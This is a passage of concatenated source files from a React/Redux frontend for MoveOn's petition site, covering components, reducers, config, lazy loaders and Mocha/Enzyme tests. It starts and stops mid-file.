all: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 12, 11, 9, 10, 9, 16, 16, 19, 21, 8, 10, 12, 14, 16, 14, 14, 10, 18, 13, 15, 14, 6, 15, 13, 16, 7, 5, 15, 18, 9, 14, 15, 13, 13, 8, 11, 7, 6, 10, 11, 15, 11, 11, 14, 9, 16, 15, 8, 15, 12, 11, 12, 16, 17, 12, 7, 15, 20, 13, 8],
facebook: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1],
twitter: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 1, 1],
email: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1]
},
daily: {
all: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 729, 21],
facebook: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3],
twitter: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5],
email: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 7]
},
growth: {
all: [0, 0, 0, 0, 108269, 46540, 11962],
facebook: [0, 0, 0, 0, 393, 466, 107],
twitter: [0, 0, 0, 0, 281, 187, 30],
email: [0, 0, 0, 0, 1588, 1336, 273]
}
}
if (this.petitionReport && petition) {
return (
<this.petitionReport petition={petition} signatureStats={signatureStats} />
)
}
return null
}
}
PetitionReportPage.propTypes = {
petition: PropTypes.oneOfType([PropTypes.object, PropTypes.bool]),
location: PropTypes.object,
dispatchLoadPetition: PropTypes.func
}
const mapStateToProps = (store, ownProps) => {
const { petitionStore: { petitions } } = store
const petition = petitions[ownProps.location.query.petition_id]
return {
petition: (typeof petition === 'undefined') ? false : petition
}
}
const mapDispatchToProps = (dispatch) => ({
dispatchLoadPetition: (petitionId) => dispatch(loadPetition(petitionId))
})
export default connect(mapStateToProps, mapDispatchToProps)(PetitionReportPage)
<file_sep>/src/components/wrapper.js
/* eslint-disable strict */ // Disabling check because we can't run strict mode. Need global vars.
import React from 'react'
import PropTypes from 'prop-types'
import Nav from './nav.js'
import Footer from './footer.js'
const Wrapper = ({ children, params, routes }) => (
<div className='moveon-petitions'>
<Nav
organization={params && params.organization || ''}
minimal={!!routes[routes.length - 1].minimalNav}
/>
<main className='main'>
{children}
</main>
<hr />
<Footer />
</div>
)
Wrapper.propTypes = {
children: PropTypes.object.isRequired,
params: PropTypes.object,
routes: PropTypes.array.isRequired
}
export default Wrapper
<file_sep>/src/components/legacy/petition-preview.js
import React from 'react'
import PropTypes from 'prop-types'
import { Link } from 'react-router'
import { text2paraJsx, ellipsize } from '../../lib.js'
const PetitionPreview = ({ petition, source }) => {
const url = `/sign/${petition.name}?source=${source}`
const statement = text2paraJsx(ellipsize(petition.summary, 500))
return (
<div>
<article>
<div>
<h4><Link to={url} className='signthistitle'>{petition.title}</Link></h4>
<div className='blurb'>{statement}</div>
</div>
<div className='pull-left'>
<Link to={url} className='button background-moveon-bright-red'>Sign this petition</Link>
</div>
<div className='pull-left petition-byline'>
<p className='byline lh-14'>by {petition.contact_name}</p>
</div>
</article>
<div className='clear'></div>
</div>
)
}
PetitionPreview.propTypes = {
petition: PropTypes.object.isRequired,
source: PropTypes.string
}
export default PetitionPreview
<file_sep>/src/components/search-result-pagination.js
import React from 'react'
import PropTypes from 'prop-types'
import { Link } from 'react-router'
import { connect } from 'react-redux'
import { actions as petitionActions } from '../actions/petitionActions.js'
import { appLocation } from '../routes.js'
class SearchResultPagination extends React.Component {
constructor(props) {
super(props)
this.state = {
query: props.query || '',
selectState: props.selectState || ''
}
this.changePage = this.changePage.bind(this)
}
changePage(newPage, newUrl) {
if (newPage !== this.props.currentPage) {
const dispatch = this.props.dispatch
dispatch(petitionActions.searchPetitions(this.props.query, newPage, this.props.selectState))
appLocation.push(newUrl)
}
}
render() {
const q = this.props.query || ''
const currentPage = this.props.currentPage
const resultCount = this.props.resultCount
const pageSize = this.props.pageSize
const nextPage = currentPage + 1
const prevPage = Math.max(1, currentPage - 1)
const nextPageLinkUrl = `/find?q=${q}&page=${nextPage}`
const prevPageLinkUrl = `/find?q=${q}&page=${prevPage}`
const numPages = Math.ceil(resultCount / pageSize)
const pages = []
if (currentPage === 1) {
pages.push(<li className='disabled prevLink' key={0} ><Link onClick={() => this.changePage(prevPage, prevPageLinkUrl)}>«</Link></li>)
} else {
pages.push(<li className='prevLink' key={0} ><Link onClick={() => this.changePage(prevPage, prevPageLinkUrl)}>«</Link></li>)
}
const startPage = Math.max(1, currentPage - 3)
const endPage = Math.min(currentPage + 3, numPages)
for (let i = startPage; i <= endPage; i++) {
if (i === currentPage) {
const url = `find?q=${q}&page=${currentPage}`
pages.push(<li className='active pagelink' key={i}><Link onClick={() => this.changePage(i, url)} >{currentPage} </Link></li>)
} else {
const url = `find?q=${q}&page=${i}`
pages.push(<li className='pagelink' key={i} ><Link onClick={() => this.changePage(i, url)} >{i}</Link></li>)
}
}
return (
<div className='pagination'>
<ul>
{pages}
<li key={endPage} ><Link className='nextLink' onClick={() => this.changePage(nextPage, nextPageLinkUrl)} >»</Link></li>
</ul>
{resultCount === false ? <p><small>Loading ...</small></p> : <p><small>Found {resultCount} results.</small></p>}
</div>
)
}
}
SearchResultPagination.defaultProps = {
resultCount: false
}
SearchResultPagination.propTypes = {
resultCount: PropTypes.number.isRequired,
pageSize: PropTypes.number.isRequired,
currentPage: PropTypes.number.isRequired,
searchNavLinks: PropTypes.object.isRequired,
selectState: PropTypes.string,
dispatch: PropTypes.func,
query: PropTypes.string
}
export default connect()(SearchResultPagination)
<file_sep>/test/pages/forgot-password.js
import React from 'react'
import nock from 'nock'
import { expect } from 'chai'
import { mount } from 'enzyme'
import Config from '../../src/config.js'
import ForgotPassword from '../../src/pages/forgot-password'
import ForgotPasswordForm from '../../src/components/forgot-password-form'
const BASE_URI = 'http://localhost:8080'
Config.API_URI = BASE_URI
describe('<ForgotPassword />', () => {
it('renders the forgot password form', () => {
const component = mount(<ForgotPassword />)
expect(component.find(ForgotPasswordForm)).to.have.length(1)
expect(component.find('input[name="email"]').length).to.equal(1)
})
it('displays errors when required fields are missing', () => {
const login = mount(<ForgotPassword />)
login.find('form').simulate('submit')
expect(login.find('.errors').text()).to.equal(
'Missing required entry for the Email field.'
)
})
it('validates email', () => {
const login = mount(<ForgotPassword />)
login.find('input[name="email"]').node.value = 'foo'
login.find('form').simulate('submit')
expect(login.find('.errors').text()).to.equal(
'Invalid entry for the Email field.'
)
})
it('sends a request on submit', () => {
const api = nock(BASE_URI)
.post('/users/forgot-password.json', { email: '<EMAIL>' })
.reply(200)
const login = mount(<ForgotPassword />)
login.find('input[name="email"]').node.value = '<EMAIL>'
login.find('form').simulate('submit')
expect(api.pendingMocks().length).to.equal(0)
})
})
<file_sep>/src/reducers/index.js
import { combineReducers } from 'redux'
import { actionTypes as petitionActionTypes } from '../actions/petitionActions.js'
import { actionTypes as sessionActionTypes } from '../actions/sessionActions.js'
import { actionTypes as accountActionTypes } from '../actions/accountActions.js'
import navStore from './nav'
// Function fetchPetitionRequest(petitionSlug) {
// Return {
// Type: FETCH_PETTION_REQUEST,
// PetitionSlug
// }
// }
const initialPetitionState = {
petitions: {}, // Keyed by slug AND petition_id for petition route
petitionSignatures: {}, // Keyed by petition slug, then page
signatureStatus: {}, // Keyed by petition_id (because form doesn't have slug)
signatureMessages: {}, // Keyed by petition_id, MessageId value from SQS post
topPetitions: {}, // Lists of petition IDs keyed by pac then megapartner
nextPetitions: [], // List of petition IDs that can be suggested to sign next
nextPetitionsLoaded: false // Is nextPetitions empty because there are none to suggest or it hasn't been loaded yet?
}
const initialSearchState = {
searchResults: {
count: '0',
page_size: 0,
_embed: [],
_links: {}
}
}
const initialUserState = {
// Possible keys. none of these are guaranteed to be present/available
// # OSDI fields:
// postal_addresses: [{status: "Potential"}] (here when we have an address for this user)
// identifiers: <probably a combination of signonId, token, and any other identifiers available>
// given_name: (first name)
//
// # LOGIN STATUS fields:
// anonymous: <boolean>
// signonId: (unique id from signon)
// authenticated: If the person is actually logged in
// token: (either an id:<signon token> or akid:<akid token>) that can be used for a single action
//
// # FIELDS SAVED FROM petition signing, e.g.
// full_name:
// email:
// zip:
// state:
// country:
}
function petitionReducer(state = initialPetitionState, action) {
const {
type,
petition: petitionWithoutSlug,
slug,
page,
signatures,
petitions,
topPetitionsKey,
useCache
} = action
let petition = {}
let updateData = {}
if (typeof petitionWithoutSlug === 'object') {
petition = Object.assign(petitionWithoutSlug, { slug })
} else if (slug && typeof state.petitions[slug] !== 'undefined') {
petition = state.petitions[slug]
}
switch (type) {
case petitionActionTypes.FETCH_PETITION_SUCCESS:
return {
...state,
petitions: {
...state.petitions,
// Key it both by id and by slug, for different lookup needs
[slug]: petition,
[petition.petition_id]: petition
}
}
case petitionActionTypes.PETITION_SIGNATURE_SUCCESS:
updateData = {
signatureStatus: {
...state.signatureStatus,
[petition.petition_id]: 'success'
}
}
if (action.messageId) {
updateData.signatureMessages = {
...state.signatureMessages,
[petition.petition_id]: {
messageId: action.messageId,
messageMd5: action.messageMd5
}
}
}
if (state.nextPetitionsLoaded) {
updateData.nextPetitions = state.nextPetitions.filter(petId => petId !== petition.petition_id)
}
return {
...state,
...updateData
}
case petitionActionTypes.FETCH_PETITION_SIGNATURES_SUCCESS:
petition.total_signatures = signatures.count
return {
...state,
petitionSignatures: {
...state.petitionSignatures,
[slug]: {
...state.petitionSignatures[slug],
// eslint-disable-next-line no-underscore-dangle
[page]: signatures._embedded.map((signature) =>
// eslint-disable-next-line no-underscore-dangle
Object.assign(signature, { user: signature._embedded.user })
)
}
},
petitions: {
...state.petitions,
[slug]: petition,
[petition.petition_id]: petition
}
}
case petitionActionTypes.FETCH_TOP_PETITIONS_SUCCESS:
if (useCache) {
return state
}
updateData = {
petitions: Object.assign({}, state.petitions,
...petitions.map((topPetition) => ({
[topPetition.name]: topPetition,
[topPetition.petition_id]: topPetition
}))),
topPetitions: {
...state.topPetitions,
[topPetitionsKey]: petitions.map(topPetition => topPetition.petition_id)
},
nextPetitionsLoaded: true
}
updateData.nextPetitions = state.nextPetitions.concat(
petitions.map(topPetition => topPetition.petition_id)
).filter((petId, i, list) => (
i === list.indexOf(petId) // Make each item unique on the list
&& !(petId in state.signatureStatus || updateData.petitions[petId].signed) // Exclude signed
))
return {
...state,
...updateData
}
default:
return state
}
}
function petitionSearchReducer(state = initialSearchState, action) {
const {
type,
searchResults
} = action
switch (type) {
case petitionActionTypes.SEARCH_PETITIONS_SUCCESS:
return {
...state,
searchResults: { ...searchResults }
}
default:
return state
}
}
function userReducer(state = initialUserState, action) {
// Fold in tokens at the top, since it's possible it's for everyone
// tokens can be hashedId and akid
const newData = { ...(action.tokens || {}) }
if (!newData.token) {
// from query parameters
if (newData.hashedId) {
newData.token = `id:${newData.hashedId}`
} else if (newData.akid) {
newData.token = `akid:${newData.akid}`
}
}
switch (action.type) {
case sessionActionTypes.UNRECOGNIZE_USER_SESSION:
return { anonymous: true } // Purposefully destroying current state
case sessionActionTypes.ANONYMOUS_SESSION_START:
newData.anonymous = true
return { ...state, ...newData }
case sessionActionTypes.USER_SESSION_START:
if (action.session) {
// session might have: given_name, authenticated, postal_addresses
Object.assign(newData, action.session)
const { identifiers } = action.session
if (identifiers && identifiers.length) {
newData.signonId = identifiers[0]
identifiers.forEach((id) => {
if (/^(ak|token)?id:/.test(id)) {
newData.token = id
}
})
}
}
return { ...state, ...newData }
case sessionActionTypes.USER_SESSION_FAILURE:
return { ...state, ...newData }
case petitionActionTypes.PETITION_SIGNATURE_SUBMIT:
// If it's an anonymous user or we get useful session information
// Then copy it into userData
if (!state.full_name
&& action.signature && action.signature.person) {
if (action.signature.person.full_name) {
newData.full_name = action.signature.person.full_name
}
if (action.signature.person.email_addresses
&& action.signature.person.email_addresses.length) {
newData.email = action.signature.person.email_addresses[0]
}
if (action.signature.person.postal_addresses
&& action.signature.person.postal_addresses.length) {
const address = action.signature.person.postal_addresses[0]
newData.zip = address.postal_code
newData.state = address.region
newData.country = address.country_name
}
return { ...state, ...newData }
}
return state
default:
return state
}
}
function accountRegisterReducer(state = {}, action) {
switch (action.type) {
case accountActionTypes.REGISTER_SUBMIT:
return { ...state, isSubmitting: true }
case accountActionTypes.REGISTER_SUCCESS:
return { ...state, isSubmitting: false }
case accountActionTypes.REGISTER_FAILURE:
return { ...state, isSubmitting: false, formErrors: action.formErrors }
default:
return state
}
}
const rootReducer = combineReducers({
navStore,
petitionStore: petitionReducer,
petitionSearchStore: petitionSearchReducer,
userStore: userReducer,
accountRegisterStore: accountRegisterReducer
})
export default rootReducer
<file_sep>/src/apps/nav-only-routes.js
import React from 'react'
import { Router, Route, browserHistory, hashHistory } from 'react-router'
import { Config } from '../config'
import { loadSession } from '../actions/sessionActions'
import Nav from '../components/nav'
export const appLocation = (Config.USE_HASH_BROWSING ? hashHistory : browserHistory)
export const routes = (store) => (
<Router history={appLocation}>
<Route path='*' component={Nav} onEnter={(nextState) => { store.dispatch(loadSession(nextState)) }} />
</Router>
)
<file_sep>/src/components/petition.js
import React from 'react'
import PropTypes from 'prop-types'
import { text2paraJsx } from '../lib.js'
import { thanksLoader } from '../loaders/petition.js'
import SignatureAddForm from './signature-add-form.js'
import SignatureCount from './signature-count.js'
import SignatureList from './signature-list.js'
import PetitionFlagForm from './petition-flag-form.js'
import { Link } from 'react-router'
class Petition extends React.Component {
componentDidMount() {
// Lazy-load thanks page component
thanksLoader()
}
render() {
const { petition: p, query } = this.props
const statement = text2paraJsx(p.summary)
const creator = ((p._embedded && p._embedded.creator) || { name: p.contact_name })
const petitionBy = creator.name + (creator.organization
? `, ${creator.organization}`
: '')
const outOfDate = (p.tags && p.tags.filter(t => t.name === 'possibly_out_of_date').length)
return (
<div className='container'>
{(outOfDate) ?
<div className='message-header'>
<span className='bell'>This petition has not been edited in a while. As a new legislative session has begun, it's possible some of the targets of this petition are out of date.</span>
</div>
: ''}
{(p.status !== 'Verified') ?
<div className='message-header'>
<PetitionFlagForm petition={p} />
</div>
: ''}
{(p.status === 'Bad') ?
<div className='message-header'>
<span className='bell'>MoveOn volunteers reviewed this petition and determined that it either may not reflect MoveOn members' progressive values, or that MoveOn members may disagree about whether to support this petition. MoveOn will not promote the petition beyond hosting it on our site. <a href='https://act.moveon.org/cms/thanks/thanks-your-input' target='_blank'>Click here</a> if you think MoveOn should support this petition.
</span>
</div>
: ''}
{(p.tags && p.tags.filter(t => t.name === 'outcome:victory').length) ?
<div className='message-header'>
<img alt='star icon' src='/images/star.png' height='30' width='30' />
<span><strong>Victory!</strong> The creator of this petition declared the campaign a success. You can still sign the petition to show support.</span>
</div>
: ''}
{(query.fwd) ?
<div className='message-header'>
<span className='bell'> We've forwarded you to this trending petition. To return to your previous action, use your browser's back button.
</span>
</div>
: ''}
<div className='row'>
<SignatureAddForm petition={p} query={this.props.query} />
<div className='span8 pull-right petition-info-top'>
<div className='percent-95 padding-left-15 form-wrapper responsive padding-bottom-1 padding-left-2 padding-right-3' style={{ marginLeft: '-20px', position: 'relative' }}>
<div className='petition-top hidden-phone'>
<h1 id='petition-title' className='moveon-bright-red big-title'>{p.title}</h1>
<p id='by' className='byline lh-20'>
Petition by <a href={`/contact_creator.html?petition_id=${p.petition_id}`} className='underline'>
{petitionBy}
</a>
</p>
<p id='to-target' className='lh-14 bump-top-1 bump-bottom-1 margin-0 disclaimer'>To be delivered to <span className='all-targets'><strong>
{p.target.map((t) => t.name).join(', ')}</strong></span></p>
</div>
<div id='pet-statement-box' className='lh-36 blockquote'>
<h3 className='visible-phone moveon-bright-red'>Petition Statement</h3>
<div id='pet-statement'>{statement}</div>
</div>
<SignatureCount current={p.total_signatures} goal={p.signature_goal} />
</div>
<div className='clear'></div>
<div id='pet-explain' className='background-moveon-white bump-top-1 padding-left-2' style={{ marginLeft: '-20px' }}>
<div className='widget'>
<div className='widget-top'>
<h3 className='moveon-bright-red padding-bottom-1'>Petition Background</h3>
</div>
{p.featured_image_url ? (
<img id='pet-image' src={p.featured_image_url} role='presentation' />
) : ''}
<div dangerouslySetInnerHTML={{ __html: p.description }}></div>
</div>
<div className='widget hidden-phone'>
<div className='widget-top'>
<h3 className='moveon-bright-red padding-bottom-1'>Current petition signers</h3>
</div>
<SignatureList
petitionSlug={p.slug}
signatureCount={p.total_signatures}
/>
<div>
<div id='pet-signers' className='bump-top-1'>
</div>
<form id='flag-comment-form' action='/flag_comment.html' method='POST'>
<input id='flag-comment-user-id' type='hidden' name='user_id' value='' />
</form>
</div>
</div>
</div>
</div>
</div>
<div className='row'>
<div className='span12'>
<div id='privacy'>
<p className='disclaimer bump-top-2'>
<strong>Note</strong>: MoveOn {p.entity === 'c4' ? 'Civic' : 'Political'} Action does not necessarily endorse the contents of petitions posted on this site. MoveOn Petitions is an open tool that anyone can use to post a petition advocating any point of view, so long as the petition does not violate our <Link to='/terms.html'>terms of service</Link>.
</p>
</div>
</div>
</div>
</div>
)
}
}
Petition.propTypes = {
petition: PropTypes.object.isRequired,
query: PropTypes.object
}
export default Petition
<file_sep>/test/pages/home.js
import React from 'react'
import { Provider } from 'react-redux'
import { expect } from 'chai'
import { mount } from 'enzyme'
import { createMockStore } from 'redux-test-utils'
import Home from '../../src/containers/home'
import BillBoard from '../../src/components/legacy/billboard'
import SearchBar from '../../src/containers/searchbar'
import RecentVictoryList from '../../src/components/legacy/recentvictory'
import TopPetitions from '../../src/containers/top-petitions'
describe('<Home />', () => {
const baseStore = createMockStore({ navStore: {}, petitionStore: {} })
const orgStore = createMockStore({ navStore: { orgs: {
mop: {
organization: 'M.O.P.',
description: 'MOP stands for Mash Out Posse or MoveOn Petitions or ....',
logo_image_url: 'https://example.com/mopimage.jpg'
}
} }, petitionStore: {} })
it('renders a billboard', () => {
const myComponent = <Home params={{}} />
const context = mount(<Provider store={baseStore} children={myComponent} />)
expect(context.find(BillBoard)).to.have.length(1)
})
it('renders a searchbar', () => {
const myComponent = <Home params={{}} />
const context = mount(<Provider store={baseStore} children={myComponent} />)
expect(context.find(SearchBar)).to.have.length(1)
})
it('renders a recent victory list inside .front-content', () => {
const myComponent = <Home params={{}} />
const context = mount(<Provider store={baseStore} children={myComponent} />)
expect(context.find('.front-content').find(RecentVictoryList)).to.have.length(1)
})
it('renders org content', () => {
const myComponent = <Home params={{ organization: 'mop' }} />
const context = mount(<Provider store={orgStore} children={myComponent} />)
const orgHeader = context.find('.organization-header')
expect(orgHeader).to.have.length(1)
expect(orgHeader.find('h2').text()).to.be.equal('M.O.P.')
expect(context.find(TopPetitions).props().pac).to.be.equal(0)
expect(context.find(TopPetitions).props().megapartner).to.be.equal('mop')
})
})
<file_sep>/test/components/searchbar.js
import React from 'react'
import { expect } from 'chai'
import { mount } from 'enzyme'
import { unwrapReduxComponent } from '../lib'
import { createMockStore } from 'redux-test-utils'
import SearchBar from '../../src/containers/searchbar'
describe('<SearchBar />', () => {
const baseStore = createMockStore({ userStore: {} })
it('basic loading, short searchbar', () => {
const context = mount(<SearchBar isLong={false} store={baseStore} />)
const component = unwrapReduxComponent(context)
expect(context.find('#search-box2').length).to.equal(1)
expect(component.props.query).to.equal(undefined)
expect(component.props.isLong).to.equal(false)
expect(component.props.selectState).to.equal(undefined)
expect(context.find('.form-vertical').length).to.equal(1)
})
it('basic loading, long searchbar', () => {
const context = mount(<SearchBar isLong store={baseStore} />)
const component = unwrapReduxComponent(context)
expect(context.find('#search-bar-large').length).to.equal(1)
expect(component.props.query).to.equal(undefined)
expect(component.props.isLong).to.equal(true)
expect(component.props.selectState).to.equal(undefined)
expect(context.find('#searchValue').length).to.equal(1)
})
it('prepopulates query if passed in', () => {
const searchBarProps = { query: 'cats' }
const context = mount(<SearchBar {...searchBarProps} store={baseStore} />)
const component = unwrapReduxComponent(context)
expect(component.props.query).to.equal('cats')
expect(component.props.selectState).to.equal(undefined)
})
// TODO: did we intentionally not include state select when the search bar is long?
it('prepopulates selectState if passed in ', () => {
const searchBarProps = { selectState: 'VA' }
const context = mount(<SearchBar {...searchBarProps} store={baseStore} />)
const component = unwrapReduxComponent(context)
expect(component.props.query).to.equal(undefined)
expect(component.props.selectState).to.equal('VA')
})
})
<file_sep>/src/apps/main.js
import React from 'react'
import ReactDOM from 'react-dom'
import { Provider } from 'react-redux'
import configureStore from '../store/configureStore.js'
import { routes } from '../routes.js'
// See reducers/index.js for initialState (and all possible transient states
const store = configureStore()
// NOTE: this requires the javascript to be loaded at the bottom of the page
// or at least after the id="root" element
ReactDOM.render(
<Provider store={store} children={routes(store)} />,
document.getElementById('root')
)
<file_sep>/src/config.js
export const Config = {
API_URI: process.env.API_URI,
API_WRITABLE: process.env.API_WRITABLE,
API_SIGN_PETITION: process.env.API_SIGN_PETITION || '',
BASE_APP_PATH: process.env.BASE_APP_PATH,
BASE_URL: process.env.BASE_URL || '',
ONLY_PROD_ROUTES: process.env.ONLY_PROD_ROUTES || '',
SESSION_COOKIE_NAME: process.env.SESSION_COOKIE_NAME || '',
TRACK_SHARE_URL: process.env.TRACK_SHARE_URL || '',
USE_HASH_BROWSING: !process.env.PROD,
ENTITY: process.env.ENTITY || window.ENTITY
}
export default Config
<file_sep>/test/pages/search.js
import React from 'react'
import { expect } from 'chai'
import { shallow } from 'enzyme'
import { createMockStore } from 'redux-test-utils'
import SearchPage from '../../src/pages/search'
describe('<SearchPage />', () => {
const baseStore = createMockStore({ userStore: {} })
it('renders default values with no search query', () => {
const searchPageProps = { query: {}, location: { query: { } } }
const context = shallow(<SearchPage {...searchPageProps} store={baseStore} />)
expect(context.props().query).to.equal('')
expect(context.props().pageNumber).to.equal('1')
expect(context.props().selectState).to.equal('')
})
it('parses out query', () => {
const searchPageProps = { query: {}, location: { query: { q: 'cats' } } }
const context = shallow(<SearchPage {...searchPageProps} store={baseStore} />)
expect(context.props().query).to.equal('cats')
expect(context.props().pageNumber).to.equal('1')
expect(context.props().selectState).to.equal('')
})
it('parses out page number', () => {
const searchPageProps = { query: {}, location: { query: { q: 'cats', page: '2' } } }
const context = shallow(<SearchPage {...searchPageProps} store={baseStore} />)
expect(context.props().query).to.equal('cats')
expect(context.props().pageNumber).to.equal('2')
expect(context.props().selectState).to.equal('')
})
it('parses out selected state', () => {
const searchPageProps = { query: {}, location: { query: { q: 'cats', page: '2', state: 'VA' } } }
const context = shallow(<SearchPage {...searchPageProps} store={baseStore} />)
expect(context.props().query).to.equal('cats')
expect(context.props().pageNumber).to.equal('2')
expect(context.props().selectState).to.equal('VA')
})
})
<file_sep>/src/pages/petition-creator-dashboard.js
import React from 'react'
const PetitionCreatorDashboard = () => (
<div className='moveon-petitions'>
<h2> Petition Creator Dashboard </h2>
</div>
)
export default PetitionCreatorDashboard
<file_sep>/src/pages/login.js
import React from 'react'
import PropTypes from 'prop-types'
import { connect } from 'react-redux'
import LoginForm from '../components/login-form'
class Login extends React.Component {
constructor(props) {
super(props)
this.handleSubmit = this.handleSubmit.bind(this)
}
handleSubmit(fields) {
// Not implemented yet
alert(fields)
// this.props.dispatch(sessionActions.login(fields))
}
render() {
return (
<div className='moveon-petitions'>
<LoginForm
errors={this.props.loginErrors}
onSubmit={this.handleSubmit}
isSubmitting={this.props.isSubmitting}
/>
</div>
)
}
}
Login.propTypes = {
loginErrors: PropTypes.array,
dispatch: PropTypes.func,
isSubmitting: PropTypes.bool
}
function mapStateToProps({ userStore = {} }) {
return {
loginErrors: userStore.loginErrors || [],
isSubmitting: !!userStore.isSubmitting
}
}
export default connect(mapStateToProps)(Login)
<file_sep>/test/.eslintrc.js
/* eslint-disable prefer-object-spread/prefer-object-spread */
const parent = require('../.eslintrc')
module.exports = Object.assign({}, parent, {
env: {
browser: true,
node: true,
mocha: true
},
rules: Object.assign({}, parent.rules, {
'no-unused-expressions': ['off']
})
})
<file_sep>/src/containers/searchbar.js
import React from 'react'
import PropTypes from 'prop-types'
import { connect } from 'react-redux'
import { actions as petitionActions } from '../actions/petitionActions.js'
import { appLocation } from '../routes.js'
import ShortSearchBar from '../components/legacy/short-search-bar'
import LongSearchBar from '../components/legacy/long-search-bar'
class SearchBar extends React.Component {
constructor(props) {
super(props)
this.state = {
query: props.query || '',
selectState: props.selectState || '',
currentPage: props.currentPage || '1'
}
this.submitQuery = this.submitQuery.bind(this)
this.selectState = this.selectState.bind(this)
this.selectQuery = this.selectQuery.bind(this)
}
selectQuery(e) {
e.preventDefault()
const q = e.target.value
this.setState({
query: q
})
}
selectState(e) {
e.preventDefault()
const selectedState = e.target.value
this.setState({
selectState: selectedState
})
}
submitQuery(e) {
e.preventDefault()
const dispatch = this.props.dispatch
const query = this.state.query
const selState = this.state.selectState || ''
const currentPage = this.state.currentPage || 1
dispatch(petitionActions.searchPetitions(query, currentPage, selState))
const queryString = []
if (this.state.query) {
queryString.push(`q=${this.state.query}`)
}
if (this.state.selectState) {
queryString.push(`state=${this.state.selectState}`)
}
if (queryString.length) {
const fullQuery = queryString.join('&')
appLocation.push(`/find/?${fullQuery}`)
}
}
render() {
const { isLong } = this.props
return (
<div>
{isLong ? <LongSearchBar submit={this.submitQuery} queryValue={this.state.query} stateValue={this.state.selectState} changeQueryValue={this.selectQuery} changeQueryState={this.selectState} /> :
<ShortSearchBar submit={this.submitQuery} change={this.selectQuery} query={this.state.query} />}
<div className='clear'></div>
</div>
)
}
}
SearchBar.propTypes = {
isLong: PropTypes.bool,
query: PropTypes.string,
currentPage: PropTypes.string,
dispatch: PropTypes.func,
selectState: PropTypes.string
}
export default connect()(SearchBar)
<file_sep>/test/components/thanks.js
import React from 'react'
import { expect } from 'chai'
import { shallow } from 'enzyme'
import Thanks from '../../src/components/thanks'
import outkastPetition from '../../local/api/v1/petitions/outkast.json'
describe('<Thanks />', () => {
it('renders thanks for petition', () => {
const context = shallow(<Thanks petition={outkastPetition} />)
// console.log(context.html())
expect(context.find('h1').text()).to.equal('Thanks!')
})
})
<file_sep>/src/containers/home.js
import React from 'react'
import PropTypes from 'prop-types'
import { connect } from 'react-redux'
import { Config } from '../config.js'
import BillBoard from '../components/legacy/billboard'
import SearchBar from './searchbar'
import RecentVictoryList from '../components/legacy/recentvictory.js'
import TopPetitions from './top-petitions'
import OrganizationHeader from '../components/legacy/organization-header'
const Home = ({ params, nav }) => {
const { organization } = params
const isOrganization = Boolean(organization && organization !== 'pac')
const isPac = (organization === 'pac' || (!isOrganization && Config.ENTITY === 'pac'))
const orgData = (nav && nav.orgs && nav.orgs[organization]) || {}
return (
<div className='moveon-petitions container background-moveon-white bump-top-1'>
{isOrganization ? null : <BillBoard />}
<div>
<SearchBar isLong />
</div>
{isOrganization ? <OrganizationHeader orgData={orgData} /> : null}
<div className='row front-content'>
<TopPetitions
pac={isPac ? 1 : 0}
megapartner={organization || ''}
fullWidth={isOrganization}
source='homepage'
/>
{isOrganization ? null : <RecentVictoryList />}
</div>
</div>
)
}
Home.propTypes = {
nav: PropTypes.object,
params: PropTypes.object
}
function mapStateToProps(store) {
return {
nav: store.navStore
}
}
export default connect(mapStateToProps)(Home)
<file_sep>/src/loaders/petition.js
const { Promise } = global
// This file should map lazy-loading components in the app.
// A good example is the Thanks page, where we don't want to burden the first
// load with thanks-page data but once we have loaded the rest, we should
// take an opportunity to load the thanks page javascript so that when they
// sign the petition it will quickly render the thanks page.
// This works because require() is async, and NOT imported at the top.
// Note that this will not work for full page components because the route
// needs to reference the component, but for async pages, just make a stub page
// component, and put the rest of the logic inside a src/components
// (sub) component
export const thanksLoader = () => new Promise(resolve => {
require.ensure([], () => {
resolve({
// eslint-disable-next-line global-require
Thanks: require('../components/thanks.js')
})
})
})
export const petitionReportLoader = () => new Promise(resolve => {
require.ensure([], () => {
resolve({
// eslint-disable-next-line global-require
petitionReport: require('../components/petition-report.js')
})
})
})
export const searchResultLoader = () => new Promise(resolve => {
require.ensure([], () => {
resolve({
// eslint-disable-next-line global-require
SearchResults: require('../components/search-results.js')
})
})
})
<file_sep>/src/components/footer.js
import React from 'react'
import { Link } from 'react-router'
const Footer = () => (
<div className='container footer'>
<div className='row'>
<div className='span4'>
<div className='footer'>
<h1 className='moveon-masthead'>
<a href='#'>MoveOn.org®</a>
</h1>
</div>
<div className='row'>
<div className='span4'>
